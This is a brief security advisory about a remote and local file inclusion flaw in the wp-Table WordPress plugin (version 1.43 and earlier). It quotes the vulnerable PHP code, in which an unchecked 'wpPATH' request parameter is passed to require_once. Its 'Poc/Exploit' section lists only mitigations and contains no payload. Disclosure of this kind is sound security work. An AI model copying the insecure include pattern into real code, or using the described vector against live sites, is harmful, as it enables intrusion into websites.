Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : wp-Table
version       : <= 1.43
Vendor        : http://alexrabe.boelinger.com/?page_id=3
Description :

This plugin is a simple table manager for wordpress.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~
- Invalid include function at js/wptable-button.php :

----------------js/wptable-button.phpp-------------------
...
if (!$_POST) $wppath=$_GET['wpPATH'];
else $wppath=$_POST['wpPATH'];

require_once($wppath.'/wp-config.php');
require_once($wppath.'/wp-admin/admin.php');

global $wpdb;
...
----------------------------------------------------------------


Input passed to the "wpPATH" parameter in js/wptable-button.php is not properly verified before being used to include files.
This can be exploited to include arbitrary files from local or external resources.
Successful exploitation requires that "register_globals" is enabled.




Poc/Exploit:
~~~~~~~~~

- Turn off register_globals
- use the latest version
